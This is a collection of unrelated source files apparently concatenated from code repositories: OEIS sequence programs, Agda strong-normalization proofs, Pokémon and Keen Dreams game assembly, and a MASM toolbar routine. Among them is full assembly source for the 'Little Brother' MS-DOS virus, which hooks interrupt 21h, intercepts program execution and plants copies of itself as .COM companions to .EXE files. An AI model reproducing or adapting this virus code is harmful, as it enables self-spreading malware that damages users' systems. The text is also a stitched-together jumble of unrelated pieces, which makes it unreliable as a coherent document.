00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
oeis/110/A110046.asm
neoneye/loda-programs
11
29803
; A110046: Expansion of (1+4*x-12*x^2-16*x^3)/((2*x+1)*(2*x-1)*(4*x^2+4*x-1)). ; Submitted by <NAME> ; 1,8,28,144,656,3200,15296,73984,356608,1722368,8313856,40144896,193826816,935886848,4518821888,21818834944,105350496256,508677324800,2456110759936,11859152338944,57261050298368,276480810549248,1334967435001856,6445792982204416,31123041635270656,150275338469900288,725593520286466048,3503475435025465344,16916275820710854656,81679005022945280000,394381123372477054976,1904240513581689339904,9194486547808075644928,44394908245559059939328,214357579173434182598656,1035009949675972970151936 mov $2,$0 seq $0,162484 ; a(1) = 2, a(2) = 8; a(n) = 2 a(n - 1) + a(n - 2) - 4*(n mod 2). lpb $2 mul $0,2 sub $2,1 lpe div $0,2
agda-aplas14/DeclSN.agda
ryanakca/strong-normalization
32
9125
<reponame>ryanakca/strong-normalization module DeclSN where open import Data.Sum open import Library open import Terms open import Substitution open import TermShape open import SN open import Reduction -- SN as accessibility data sn {Γ} {a} (t : Tm Γ a) : Set where acc : (∀ {t'} → t ⇒β t' → sn t') → sn t sn⇒β : ∀ {Γ} {a} {t t' : Tm Γ a} → sn t → t ⇒β t' → sn t' sn⇒β (acc h) r = h r varsn : ∀ {Γ} {a} (x : Var Γ a) → sn (var x) varsn x = acc λ { (cong () _ _) } abssn : ∀ {Γ} {a b} {t : Tm (a ∷ Γ) b} → sn t → sn (abs t) abssn (acc f) = acc (λ { {._} (cong abs abs x) → abssn (f x) }) subsn : ∀ {Γ Δ} {a b} {f : Tm Γ a -> Tm Δ b} → (g : ∀ {t t' : Tm Γ a} → t ⇒β t' → f t ⇒β f t') → ∀ {t} → sn (f t) → sn t subsn g (acc ft) = acc λ t⇒ → subsn g (ft (g t⇒)) -- Goal here: prove that sne is closed under application. appsn : ∀ {Γ a b} {t : Tm Γ (a →̂ b)} {u} → sn t → sn u → SNe t → ∀ {r : Tm Γ b} → app t u ⇒β r → sn r appsn (acc 𝒕) 𝒖 𝒏 (cong (appl u) (appl .u) t⇒) = acc (appsn (𝒕 t⇒) 𝒖 (mapβSNe t⇒ 𝒏 )) appsn 𝒕 (acc u) 𝒏 (cong (appr t) (appr .t) t⇒) = acc (appsn 𝒕 (u t⇒) 𝒏) appsn 𝒕 u (elim 𝒏 ()) β elimsn : ∀ {Γ a b}{E : ECxt Γ a b}{t : Tm Γ a}{Et : Tm Γ b} → sn t → PCxt sn Et E t → SNe t → ∀ {Et' : Tm Γ b} → Et ⇒β Et' → sn Et' elimsn 𝒕 (appl 𝒖) 𝒏 t⇒ = appsn 𝒕 𝒖 𝒏 t⇒ substβsn : ∀ {i m vt a Γ} {Δ} {σ ρ : RenSub {m} vt Γ Δ} → (∀ {b} (x : Var Γ b) → vt2tm _ (σ x) ⇒β* vt2tm _ (ρ x)) → (t : Tm Γ a) → SN {i} (subst σ t) → SN {i} (subst ρ t) substβsn f t = mapβ*SN (subst⇒β* f t) antiSubst : ∀ {Γ a b} {t : Tm (a ∷ Γ) b}{u : Tm Γ a} → sn (subst (sgs u) t) → sn t antiSubst {t = t} = subsn (λ x → subst⇒β (sgs _) x) _[_]⇒β : ∀ {Γ} {a b} (E : ECxt Γ a b) {t₁ t₂ : Tm Γ a} → t₁ ⇒β t₂ → E [ t₁ ] ⇒β E [ t₂ ] appl u [ t⇒ ]⇒β = cong (appl u) (appl u) t⇒ _[_]⇒β* : ∀ {Γ} {a b} (E : ECxt* Γ a b) {t₁ t₂ : Tm Γ a} → t₁ ⇒β t₂ → E [ t₁ ]* ⇒β E [ t₂ ]* [] [ t⇒ ]⇒β* = t⇒ (E ∷ Es) [ t⇒ ]⇒β* = Es [ E [ t⇒ ]⇒β ]⇒β* cong*2 : ∀ {Γ a b t t'}(E : ECxt* Γ a b) → (t⇒ : t ⇒β t') → E [ t ]* ⇒β E [ t' ]* cong*2 E t⇒ = E [ t⇒ ]⇒β* subexpsn : ∀ {Γ a b} (E : ECxt* Γ a b) {t : Tm Γ a} → sn (E [ t ]*) -> sn t subexpsn E = subsn (cong*3 E) data _Redex {Γ} : ∀ {a} → Tm Γ a → Set where β : ∀ {a b}{t : Tm (a ∷ Γ) b}{u} → (app (abs t) u) Redex mkHole2 : ∀ {Γ} {a b} (E : ECxt Γ a b) {t : Tm Γ a} → βEhole (E [ t ]) (EC→βEC E) t mkHole2 (appl u) = appl u mkHole3 : ∀ {Γ} {a b c} (E : ECxt Γ a b) {Es : ECxt* Γ _ _} {t : Tm Γ c} → βEhole ((Es ∷r E) [ t ]*) (EC→βEC E) (Es [ t ]*) mkHole3 E {Es} {t} rewrite ≡.sym (lemma {t = t} Es {E = E}) = mkHole2 E {Es [ t ]*} ≡subst⇒β : ∀ {a Γ} {t t1 t' t'1 : Tm Γ a} → t ≡ t1 → t' ≡ t'1 → t ⇒β t' → t1 ⇒β t'1 ≡subst⇒β ≡.refl ≡.refl x = x split : ∀ {Γ} {a b} (E : ECxt* Γ a b) {t₁ : Tm Γ a}{t₂ Et₁ : Tm Γ b} → Ehole* Et₁ E t₁ → t₁ Redex → Et₁ ⇒β t₂ → (∃ λ t₃ → Ehole* t₂ E t₃ × t₁ ⇒β t₃) ⊎ (∃ λ E₁ → Ehole* t₂ E₁ t₁ × (∀ t → E [ t ]* ⇒β E₁ [ t ]*)) split ._ [] r t⇒ = inj₁ (_ , [] , t⇒) split .(appl u ∷ []) (appl u ∷ []) () β split ._ (appl u ∷ (() ∷ eq)) r β split ._ (appl u ∷ eq) r (cong (appl .u) (appl .u) t⇒) with split _ eq r t⇒ split ._ (appl u ∷ eq) r (cong (appl .u) (appl .u) t⇒) | inj₁ (x , eq0 , t⇒') = inj₁ (_ , ((appl u) ∷ eq0) , t⇒') split ._ (_∷_ {Es = Es} (appl u) eq) r (cong (appl .u) (appl .u) t⇒) | inj₂ (Es' , eq0 , f) = inj₂ (_ , ((appl u ∷ eq0) , (λ t → cong (mkHole3 (appl u) {Es}) (mkHole3 (appl u) {Es'}) (f t)))) split ._ (_∷_ {Es = Es} (appl t) eq) r (cong (appr Est) (appr .Est) t⇒) = inj₂ (_ , ((appl _ ∷ eq) , (λ t₁ → ≡subst⇒β (lemma Es {E = appl t}) (lemma Es {E = appl _}) (_⇒β_.cong {E = (appr (Es [ t₁ ]*))} (βEhole.appr (Es [ t₁ ]*)) (appr (Es [ t₁ ]*)) t⇒)))) mutual -- it seems possible to use sn (Es [ subst (sgs u) t ]*) instead of SN {i} (Es [ subst (sgs u) t ]*) ? - bp appsn₃ : ∀ {i a b c Γ} {u : Tm Γ a} {t : Tm (a ∷ Γ) b}{Es : ECxt* Γ b c}{x} → sn (Es [ x ]*) → sn t → SN {i} (Es [ subst (sgs u) t ]*) -- TODO: use sn here? → sn u → sn (Es [ app (abs t) u ]*) appsn₃ {Es = Es} x t t[u] u = acc (λ t⇒ → help {Es = Es} x t t[u] u (mkEhole* Es) t⇒) where help : ∀ {i a b c Γ} {u : Tm Γ a} {t : Tm (a ∷ Γ) b} {t' : Tm Γ c} {x} {z}{Es : ECxt* Γ b c} → sn (Es [ x ]*) → sn t → SN {i} (Es [ subst (u ∷s var) t ]*) → sn u → Ehole* z Es (app (abs t) u) → z ⇒β t' → sn t' help {Es = Es} x t t[u]∈sn u∈sn eq t⇒ with split Es eq β t⇒ help x t₂ t[u]∈sn u∈sn eq t⇒ | inj₁ (._ , a₁ , β) rewrite hole*→≡ a₁ = fromSN t[u]∈sn help {Es = Es} x (acc t₃) t[u]∈sn u∈sn eq t⇒ | inj₁ (._ , a₁ , cong (appl u₁) (appl .u₁) (cong abs abs b₁)) rewrite hole*→≡ a₁ = appsn₃ {Es = Es} x (t₃ b₁) (mapβSN (cong*3 Es (subst⇒β (sgs u₁) b₁)) t[u]∈sn) u∈sn help {t = t} {Es = Es} x t₃ t[u]∈sn (acc u∈sn) eq t⇒ | inj₁ (._ , a₁ , cong (appr ._) (appr ._) b₁) rewrite hole*→≡ a₁ = appsn₃ {Es = Es} x t₃ (mapβ*SN (cong*4 Es (subst⇒β* (λ { {._} zero → b₁ ∷ [] ; (suc n) → [] }) t)) t[u]∈sn) (u∈sn b₁) help {x = x} (acc f) t₂ t[u]∈sn u∈sn eq t⇒ | inj₂ (Es' , a , g) rewrite hole*→≡ a = appsn₃ {Es = Es'} (f (g x)) t₂ (mapβSN (g _) t[u]∈sn) u∈sn helperCxt : ∀ {i j Γ a b} {t th to : Tm Γ a} → (Es : ECxt* Γ a b) → t ⟨ i ⟩⇒ th → SN {j} (Es [ th ]*) → sn (Es [ th ]*) -> t ⇒β to → sn (Es [ to ]*) helperCxt E (β 𝒖) 𝒕h 𝑡h β = 𝑡h helperCxt E (β 𝒖) 𝒕h 𝑡h (cong (appl u) (appl .u) (cong abs abs t⇒)) = appsn₃ {Es = E} 𝑡h (sn⇒β (antiSubst (subexpsn E 𝑡h)) t⇒) (mapβSN (cong*3 E (subst⇒β (sgs u) t⇒)) 𝒕h) (fromSN 𝒖) helperCxt E (β {t = t} 𝒖) 𝒕h 𝑡h (cong (appr ._) (appr ._) t⇒) = appsn₃ {Es = E} 𝑡h (antiSubst (subexpsn E 𝑡h)) (mapβ*SN (cong*4 E (subst⇒β* (λ { zero → t⇒ ∷ [] ; (suc _) → [] }) t)) 𝒕h) (sn⇒β (fromSN 𝒖) t⇒) helperCxt E (cong (appl u) (appl .u) (cong () 𝑬𝒕' th⇒)) 𝒕h 𝑡h β helperCxt E (cong (appl u) (appl .u) th⇒) 𝒕h 𝑡h (cong (appl .u) (appl .u) t⇒) = helperCxt (appl u ∷ E) th⇒ 𝒕h 𝑡h t⇒ helperCxt E (cong (appl u) (appl .u) th⇒) 𝒕h (acc 𝑡h) (cong (appr t) (appr .t) t⇒) = acc (helperCxt [] (E [ cong (appl _) (appl _) th⇒ ]⇒*) (mapβSN t⇒' 𝒕h) (𝑡h t⇒')) where t⇒' = E [ cong (appr _) (appr _) t⇒ ]⇒β* fromSN : ∀ {i} {Γ} {a} {t : Tm Γ a} → SN {i} t → sn t fromSN (ne 𝒏) = fromSNe 𝒏 fromSN (abs t₁) = abssn (fromSN t₁) fromSN (exp t⇒ t₁) = acc (helperCxt [] t⇒ t₁ (fromSN t₁)) fromSNe : ∀ {i Γ a} {t : Tm Γ a} → SNe {i} t → sn t fromSNe (elim 𝒏 E) = acc (elimsn (fromSNe 𝒏) (mapPCxt fromSN E) 𝒏) fromSNe (var x) = varsn x
MSDOS/Virus.MSDOS.Unknown.lbrother.asm
fengjixuchui/Family
3
20934
;**************************************************************************** ;* Little Brother Version 1 ;**************************************************************************** cseg segment assume cs:cseg,ds:cseg,es:nothing org 100h FILELEN equ end - begin RESPAR equ (FILELEN/16) + 17 VERSION equ 1 oi21 equ end nameptr equ end+4 DTA equ end+8 .RADIX 16 ;**************************************************************************** ;* Start the program! ;**************************************************************************** begin: cld mov ax,0DEDEh ;already installed? int 21h cmp ah,041h je cancel mov ax,0044h ;move program to empty hole mov es,ax mov di,0100h mov si,di mov cx,FILELEN rep movsb mov ds,cx ;get original int21 vector mov si,0084h mov di,offset oi21 movsw movsw push es ;set vector to new handler pop ds mov dx,offset ni21 mov ax,2521h int 21h cancel: ret ;**************************************************************************** ;* File-extensions ;**************************************************************************** EXE_txt db 'EXE',0 COM_txt db 'COM',0 ;**************************************************************************** ;* Interupt handler 24 ;**************************************************************************** ni24: mov al,03 iret ;**************************************************************************** ;* Interupt handler 21 ;**************************************************************************** ni21: pushf cmp ax,0DEDEh ;install-check ? je do_DEDE push dx push bx push ax push ds push es cmp ax,4B00h ;execute ? jne exit doit: call infect exit: pop es pop ds pop ax pop bx pop dx popf jmp dword ptr cs:[oi21] ;call to old int-handler do_DEDE: mov ax,04100h+VERSION ;return a signature popf iret ;**************************************************************************** ;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) ;**************************************************************************** infect: cld mov word ptr cs:[nameptr],dx ;save the ptr to the filename mov word ptr cs:[nameptr+2],ds push cs ;set new DTA pop ds mov dx,offset DTA mov ah,1Ah int 21 call searchpoint mov si,offset EXE_txt ;is extension 'EXE'? mov cx,3 rep cmpsb jnz do_com do_exe: mov si,offset COM_txt ;change extension to COM call change_ext mov ax,3300h ;get ctrl-break flag int 21 push dx xor dl,dl ;clear the flag mov ax,3301h int 21 mov ax,3524h ;get int24 vector int 21 push bx push es push cs ;set int24 vec to new handler pop ds mov dx,offset ni24 mov ax,2524h int 21 lds dx,dword ptr [nameptr] ;create the file (unique name) xor cx,cx mov ah,5Bh int 21 jc return1 xchg bx,ax ;save handle push cs pop ds mov cx,FILELEN ;write the file mov dx,offset begin mov ah,40h int 21 cmp ax,cx pushf mov ah,3Eh ;close the file int 21 popf jz return1 ;all bytes written? lds dx,dword ptr [nameptr] ;delete the file mov ah,41h int 21 return1: pop ds ;restore int24 vector pop dx mov ax,2524h int 21 pop dx ;restore ctrl-break flag mov ax,3301h int 21 mov si,offset EXE_txt ;change extension to EXE call change_ext return: ret do_com: call findfirst ;is the file a virus? cmp word ptr cs:[DTA+1Ah],FILELEN jne return mov si,offset EXE_txt ;does the EXE-variant exist? call change_ext call findfirst jnc return mov si,offset COM_txt ;change extension to COM jmp short change_ext ;**************************************************************************** ;* Find the file ;**************************************************************************** findfirst: lds dx,dword ptr [nameptr] mov cl,27h mov ah,4Eh int 21 ret ;**************************************************************************** ;* change the extension of the filename (CS:SI -> ext) ;**************************************************************************** change_ext: call searchpoint push cs pop ds movsw movsw ret ;**************************************************************************** ;* search begin of extension ;**************************************************************************** searchpoint: les di,dword ptr cs:[nameptr] mov ch,0FFh mov al,'.' repnz scasb ret ;**************************************************************************** ;* Text and Signature ;**************************************************************************** db 'Little Brother',0 end: cseg ends end begin 
lemmas-gcomplete.agda
hazelgrove/hazel-palette-agda
16
16902
<filename>lemmas-gcomplete.agda<gh_stars>10-100 open import Prelude open import Nat open import core open import contexts module lemmas-gcomplete where -- if you add a complete type to a complete context, the result is also a -- complete context gcomp-extend : ∀{Γ τ x} → Γ gcomplete → τ tcomplete → x # Γ → (Γ ,, (x , τ)) gcomplete gcomp-extend {Γ} {τ} {x} gc tc apart x_query τ_query x₁ with natEQ x x_query gcomp-extend {Γ} {τ} {x} gc tc apart .x τ_query x₂ | Inl refl = tr (λ qq → qq tcomplete) (lem-apart-union-eq {Γ = Γ} apart x₂) tc gcomp-extend {Γ} {τ} {x} gc tc apart x_query τ_query x₂ | Inr x₁ = gc x_query τ_query (lem-neq-union-eq {Γ = Γ} (flip x₁) x₂ )
KEEN/SRC/id_us_a.asm
pdpdds/DOSDev
0
177057
; Keen Dreams Source Code ; Copyright (C) 2014 <NAME> ; ; This program is free software; you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation; either version 2 of the License, or ; (at your option) any later version. ; ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License along ; with this program; if not, write to the Free Software Foundation, Inc., ; 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. IDEAL MODEL MEDIUM,C ; Assembly portion of the User Mgr. This is just John Carmack's table ; driven pseudo-random number generator, and we put it in the User Mgr ; because we couldn't figure out where it should go ;============================================================================ ; ; RANDOM ROUTINES ; ;============================================================================ DATASEG rndindex dw ? rndtable db 0, 8, 109, 220, 222, 241, 149, 107, 75, 248, 254, 140, 16, 66 db 74, 21, 211, 47, 80, 242, 154, 27, 205, 128, 161, 89, 77, 36 db 95, 110, 85, 48, 212, 140, 211, 249, 22, 79, 200, 50, 28, 188 db 52, 140, 202, 120, 68, 145, 62, 70, 184, 190, 91, 197, 152, 224 db 149, 104, 25, 178, 252, 182, 202, 182, 141, 197, 4, 81, 181, 242 db 145, 42, 39, 227, 156, 198, 225, 193, 219, 93, 122, 175, 249, 0 db 175, 143, 70, 239, 46, 246, 163, 53, 163, 109, 168, 135, 2, 235 db 25, 92, 20, 145, 138, 77, 69, 166, 78, 176, 173, 212, 166, 113 db 94, 161, 41, 50, 239, 49, 111, 164, 70, 60, 2, 37, 171, 75 db 136, 156, 11, 56, 42, 146, 138, 229, 73, 146, 77, 61, 98, 196 db 135, 106, 63, 197, 195, 86, 96, 203, 113, 101, 170, 247, 181, 113 db 80, 250, 108, 7, 255, 237, 129, 226, 79, 107, 112, 166, 103, 241 db 24, 223, 239, 120, 198, 58, 60, 82, 128, 3, 184, 66, 143, 224 db 145, 224, 81, 206, 163, 45, 63, 90, 168, 114, 59, 33, 159, 95 db 28, 139, 123, 98, 125, 196, 15, 70, 194, 253, 54, 14, 109, 226 db 71, 17, 161, 93, 186, 87, 244, 138, 20, 52, 123, 251, 26, 36 db 17, 46, 52, 231, 232, 76, 31, 221, 84, 37, 216, 165, 212, 106 db 197, 242, 98, 43, 39, 175, 254, 145, 190, 84, 118, 222, 187, 136 db 120, 163, 236, 249 ; ; Random # Generator vars ; indexi dw ? ;Rnd#Generator indexj dw ? LastRnd dw ? RndArray dw 17 dup (?) baseRndArray dw 1,1,2,3,5,8,13,21,54,75,129,204 dw 323,527,850,1377,2227 CODESEG ;================================================= ; ; void US_InitRndT (boolean randomize) ; Init table based RND generator ; if randomize is false, the counter is set to 0 ; ;================================================= PROC US_InitRndT randomize:word uses si,di public US_InitRndT mov ax,[randomize] or ax,ax jne @@timeit ;if randomize is true, really random mov dx,0 ;set to a definite value jmp @@setit @@timeit: mov ah,2ch int 21h ;GetSystemTime and dx,0ffh @@setit: mov [rndindex],dx ret ENDP ;================================================= ; ; int US_RndT (void) ; Return a random # between 0-255 ; Exit : AX = value ; ;================================================= PROC US_RndT public US_RndT mov bx,[rndindex] inc bx and bx,0ffh mov [rndindex],bx mov al,[rndtable+BX] xor ah,ah ret ENDP END
programs/oeis/298/A298564.asm
neoneye/loda
22
28061
; A298564: a(n) = (3^(n+2)+11)/2 - 5*2^(n+1) + 2*n. ; 0,1,10,53,218,789,2658,8581,26986,83477,255506,776709,2350554,7092565,21359554,64242437,193054922,579820053,1740770802,5224933765,15680044090,47050617941,141172825250,423560418693,1270765142058,3812463198229,11437725138898,34313846505221,102942881692826 add $0,1 mov $1,$0 mov $3,1 lpb $1 sub $1,1 add $2,1 sub $0,$2 mul $2,2 mul $3,3 sub $2,$3 lpe
maps/KogasRoom.asm
Dev727/ancientplatinum
28
3917
<reponame>Dev727/ancientplatinum<gh_stars>10-100 object_const_def ; object_event constants const KOGASROOM_KOGA KogasRoom_MapScripts: db 2 ; scene scripts scene_script .LockDoor ; SCENE_DEFAULT scene_script .DummyScene ; SCENE_FINISHED db 1 ; callbacks callback MAPCALLBACK_TILES, .KogasRoomDoors .LockDoor: prioritysjump .KogasDoorLocksBehindYou end .DummyScene: end .KogasRoomDoors: checkevent EVENT_KOGAS_ROOM_ENTRANCE_CLOSED iffalse .KeepEntranceOpen changeblock 4, 14, $2a ; wall .KeepEntranceOpen: checkevent EVENT_KOGAS_ROOM_EXIT_OPEN iffalse .KeepExitClosed changeblock 4, 2, $16 ; open door .KeepExitClosed: return .KogasDoorLocksBehindYou: applymovement PLAYER, KogasRoom_EnterMovement refreshscreen $86 playsound SFX_STRENGTH earthquake 80 changeblock 4, 14, $2a ; wall reloadmappart closetext setscene SCENE_FINISHED setevent EVENT_KOGAS_ROOM_ENTRANCE_CLOSED waitsfx end KogaScript_Battle: faceplayer opentext checkevent EVENT_BEAT_ELITE_4_KOGA iftrue KogaScript_AfterBattle writetext KogaScript_KogaBeforeText waitbutton closetext winlosstext KogaScript_KogaBeatenText, 0 loadtrainer KOGA, KOGA1 startbattle reloadmapafterbattle setevent EVENT_BEAT_ELITE_4_KOGA opentext writetext KogaScript_KogaDefeatText waitbutton closetext playsound SFX_ENTER_DOOR changeblock 4, 2, $16 ; open door reloadmappart closetext setevent EVENT_KOGAS_ROOM_EXIT_OPEN waitsfx end KogaScript_AfterBattle: writetext KogaScript_KogaDefeatText waitbutton closetext end KogasRoom_EnterMovement: step UP step UP step UP step UP step_end KogaScript_KogaBeforeText: text "Fwahahahaha!" para "I am KOGA of the" line "ELITE FOUR." para "I live in shadows," line "a ninja!" para "My intricate style" line "will confound and" cont "destroy you!" para "Confusion, sleep," line "poison…" para "Prepare to be the" line "victim of my sin-" cont "ister technique!" para "Fwahahahaha!" para "#MON is not" line "merely about brute" para "force--you shall" line "see soon enough!" done KogaScript_KogaBeatenText: text "Ah!" line "You have proven" cont "your worth!" done KogaScript_KogaDefeatText: text "I subjected you to" line "everything I could" cont "muster." para "But my efforts" line "failed. I must" cont "hone my skills." para "Go on to the next" line "room, and put your" cont "abilities to test!" done KogasRoom_MapEvents: db 0, 0 ; filler db 4 ; warp events warp_event 4, 17, WILLS_ROOM, 2 warp_event 5, 17, WILLS_ROOM, 3 warp_event 4, 2, BRUNOS_ROOM, 1 warp_event 5, 2, BRUNOS_ROOM, 2 db 0 ; coord events db 0 ; bg events db 1 ; object events object_event 5, 7, SPRITE_KOGA, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, KogaScript_Battle, -1
Data/Tuple/Raise.agda
Lolirofle/stuff-in-agda
6
8528
<reponame>Lolirofle/stuff-in-agda<gh_stars>1-10 module Data.Tuple.Raise where open import Data.Tuple.Raiseᵣ public
tasks/flags/above_below.asm
yds12/x86-roadmap
15
15409
<reponame>yds12/x86-roadmap<gh_stars>10-100 ; This program shows the difference between conditions "less" and "below", ; and "greater than" and "above". global asm_func section .text asm_func: mov al, -1 mov dl, 1 cmp al, dl ; here we compare AL with DL jl is_less ; and jump if AL is less than DL (if -1 < 1) mov rax, 0xbaaad ret ; if not, jump with error code is_less: cmp al, dl ; now we compare AL and DL again jb is_below ; But this time we jump if AL is below DL. The difference ; between less and below is that less considers the numbers to ; be signed, but below considers the numbers to be unsigned. ; As we have seen earlier, negative numbers have 1s as their ; most significant digits, so they are "above" positive numbers, ; when read as unsigned binary numbers (11111111 > 00000001). cmp al, dl ja is_above ; now we jump if AL is above DL (it is). mov rax, 0xbad ret ; if no jump, return with error is_above: mov rax, 0xaee ret is_below: mov rax, 0xbaad ret
programs/oeis/169/A169736.asm
karttu/loda
0
4395
; A169736: First differences of A169735. ; 1,18,9,9,9,9,9,9,9,9,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mov $1,1 mov $2,$0 mov $3,$0 mov $0,4 lpb $2,1 add $0,5 add $4,$2 mov $5,1 add $5,$1 trn $1,2 trn $4,10 lpb $4,1 trn $4,$3 trn $5,$0 lpe lpb $5,1 add $1,$0 trn $5,$3 lpe mov $2,$5 lpe
oeis/271/A271919.asm
neoneye/loda-programs
11
11476
; A271919: Numerator of Product_{j=1..n-1} ((3*j+1)/(3*j+2)). ; Submitted by <NAME> ; 1,4,7,7,13,104,494,988,190,5320,20615,589,1147,11470,246605,246605,2416729,62834954,4488211,4488211,8831641,10869712,182067676,2548947464,2514502228,27300309904,134795280151,269590560302,3134773957,25078191656,570528860174,60055669492,59442856538 mov $1,1 lpb $0 mov $2,$0 sub $0,1 mul $2,3 add $2,2 mul $3,$2 sub $2,1 add $3,$1 mul $1,$2 lpe gcd $3,$1 div $1,$3 mov $0,$1
exampl05/hexdump/toolbar.asm
AlexRogalskiy/Masm
0
1491
<filename>exampl05/hexdump/toolbar.asm ; ######################################################################## Do_ToolBar PROTO :DWORD SetBmpColor PROTO :DWORD include tbmacros.asm .data hTbBmp dd 0 hToolBar dd 0 .code ; ######################################################################## Do_ToolBar proc hWin :DWORD ; --------------------------------------- ; This proc works by using macros so that ; the code is easier to read and modify ; --------------------------------------- LOCAL bSize :DWORD LOCAL tbab :TBADDBITMAP LOCAL tbb :TBBUTTON ; ------------------ ; The toolbar bitmap ; ~~~~~~~~~~~~~~~~~~ ; You must supply a bitmap for the toolbar that has the ; correct number of the required images, each of the same ; size and in the following strip bitmap form. ; ; For the bitmap to have the correct background color, there ; must be a 'path' for the FloodFill function from the top ; left corner AROUND each tool button image on the bitmap. ; ------------------------------------- ; | 1 | 2 | 3 | 4 | 5 | 6 | ; ------------------------------------- ; ------------------------ ; Uncomment following when ; bitmap has been created ; ------------------------ ; invoke LoadBitmap,hInstance,750 ; mov hTbBmp,eax ; -------------------------------------------------- ; Set toolbar button dimensions here, width & height ; -------------------------------------------------- Create_Tool_Bar 25, 25 TBextraData ; additional data for TBBUTTON structure ; ----------------------------------- ; Add toolbar buttons and spaces here ; Syntax for the macro TBbutton is ; TBbutton bmpID number, WM_COMMAND ID number ; WM_COMMAND ID numbers start at 50 ; ----------------------------------- TBblank TBbutton 0, 50 TBbutton 1, 51 TBbutton 2, 52 TBblank TBbutton 3, 53 TBbutton 4, 54 TBbutton 5, 55 TBblank TBbutton 6, 56 TBbutton 7, 57 TBbutton 8, 58 ret Do_ToolBar endp ; ######################################################################## SetBmpColor proc hBitmap:DWORD LOCAL mDC :DWORD LOCAL hBrush :DWORD LOCAL hOldBmp :DWORD LOCAL hReturn :DWORD LOCAL hOldBrush :DWORD invoke CreateCompatibleDC,NULL mov mDC,eax invoke SelectObject,mDC,hBitmap mov hOldBmp,eax invoke GetSysColor,COLOR_BTNFACE invoke CreateSolidBrush,eax mov hBrush,eax invoke SelectObject,mDC,hBrush mov hOldBrush,eax invoke GetPixel,mDC,1,1 invoke ExtFloodFill,mDC,1,1,eax,FLOODFILLSURFACE invoke SelectObject,mDC,hOldBrush invoke DeleteObject,hBrush invoke SelectObject,mDC,hBitmap mov hReturn,eax invoke DeleteDC,mDC mov eax,hReturn ret SetBmpColor endp ; #########################################################################
text/maps/copycats_house_1f.asm
etdv-thevoid/pokemon-rgb-enhanced
9
243098
